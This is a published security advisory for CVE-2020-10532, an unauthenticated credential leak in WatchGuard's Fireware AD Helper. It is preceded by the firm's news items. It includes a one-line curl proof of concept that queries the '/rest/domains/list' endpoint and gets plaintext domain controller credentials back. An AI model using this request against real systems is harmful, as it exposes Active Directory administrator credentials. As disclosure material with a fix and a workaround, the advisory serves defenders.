News

04/11/2022
The German TV show WDR Lokalzeit Aachen reported about our work and our new office.

24/10/2022
New advisory released: Missing Authentication in ZKTeco ZEM/ZMM Web Interface.

13/07/2022
Our new blog post introduces and covers common use cases of pretender, a new name resolution sidekick for relaying attacks.

13/06/2022
RedTeam Pentesting has a new member: Roman Karwacik reinforces the team as a new penetration tester.

12/01/2022
New advisory released: Credential Disclosure in Web Interface of Crestron Device.

20/12/2021
Our new blog post describes our approach to discover a backdoor in the Auerswald COMpact 5500R PBX.

06/12/2021
Several advisories for Auerswald devices released: Auerswald COMfortel 1400/2600/3600 IP Authentication Bypass, Auerswald COMpact Privilege Escalation, Auerswald COMpact Arbitrary File Disclosure, Auerswald COMpact Multiple Backdoors.

14/10/2021
On 21 October 2021 Jens Liebchen will give the German language talk “IT-Sicherheit: Unterwegs zwischen zwei Welten” at 14:30 o'clock at the Technologiezentrum Aachen (powered by Techniker Krankenkasse). Register at konferenz@tza-aachen.de in order to participate. The 3G rule applies.

13/10/2021
New advisory released: Cross-Site Scripting in myfactory.FMS.

10/08/2021
New advisory released: XML External Entity Expansion in MobileTogether Server.

[rt-sa-2020-002] Back to Overview Credential Disclosure in WatchGuard [rt-sa-2019-016]

Fireware AD Helper Component

RedTeam Pentesting discovered a credential-disclosure vulnerability in the AD Helper component of the WatchGuard Fireware Threat Detection and Response (TDR) service, which allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.

Details
=======

Product: WatchGuard Fireware AD Helper Component
Affected Versions: 5.8.5.10233, < 5.8.5.10317
Fixed Versions: 5.8.5.10317
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-001
Advisory Status: published
CVE: CVE-2020-10532
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10532

Introduction
============

"Threat Detection and Response (TDR) is a cloud-based subscription service that integrates with your Firebox to minimize the consequences of data breaches and penetrations through early detection and automated remediation of security threats."

"Threat Detection and Response includes the AD Helper component. If your network has an Active Directory server, you can install AD Helper to manage automated installation and updates of Host Sensors on your network."

(from the vendor's homepage)

More Details
============

By accessing the AD Helper's web interface, it was discovered that a call to an API endpoint is made, which responds with plaintext credentials to all configured domain controllers. There is no authentication needed to use the described interface and the installation instructions at [1] contain no indication of any way to configure access control.

Proof of Concept
================

An HTTP GET request to the path "/domains/list" of the AD Helper API returns, among others, the plaintext credentials to all configured Windows domain controllers:

```
------------------------------------------------------------------------
$ curl --silent "http://adhelper.example.com:8080/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc" | jq .

{
  "content": [
    {
      "id": 1,
      "fullyQualifiedName": "example.com",
      "logonDomain": "example.com",
      "domainControllers": "dc1.example.com",
      "username": "[DOMAIN_USER]",
      "password": "[DOMAIN_PASSWORD]",
      "uuid": "[...]",
```

```
      "servers": [
        {
          [...]
        }
      ]
    }
  ],
  "totalPages": 1,
  "totalElements": 1,
  "number": 0,
  "numberOfElements": 1
}
--------------------------------------------------------------------------------
```

The same request and its response can be observed when initially accessing the web interface. The discovered version of AD Helper responds with the following server banner:

```
--------------------------------------------------------------------------------
jetty(winstone-5.8.5.10233-9.4.12.v20180830)
--------------------------------------------------------------------------------
```

It is likely that other versions of the AD Helper Component are vulnerable as well.

Workaround

Ensure API of the AD Helper Component is not reachable over the network, for example by putting it behind a Firewall.

Fix

Update to Version 5.8.5.10317 or later.

Security Risk

No authentication is needed to access AD Helper's web interface and the installation instructions at [1] describe that configured domain user accounts must possess at least the following privileges:

* Connect to the host
* Mount the share ADMIN$
* Create a file on the host
* Execute commands on the host
* Install software on the host

Access to the "ADMIN$" share implies a user with administrative privileges. Therefore, this vulnerability poses a high risk.

Timeline

2020-02-12 Vulnerability identified
2020-02-19 Customer approved disclosure to vendor
2020-02-24 Tried to contact the German branch of WatchGuard
2020-02-27 Contacted the Dutch branch of WatchGuard
2020-02-28 Contact to ADHelper QA Team Lead established
2020-03-02 Advisory draft sent for verification
2020-03-10 Vendor released fixed version and blog post
2020-03-11 CVE ID requested
2020-03-11 Advisory released
2020-03-13 CVE ID assigned

References

[1] https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/

RedTeam Pentesting GmbH, Dennewartstraße 25-27, 52068 Aachen
Telefon: +49 241 510081-0, Fax: +49 241 510081-99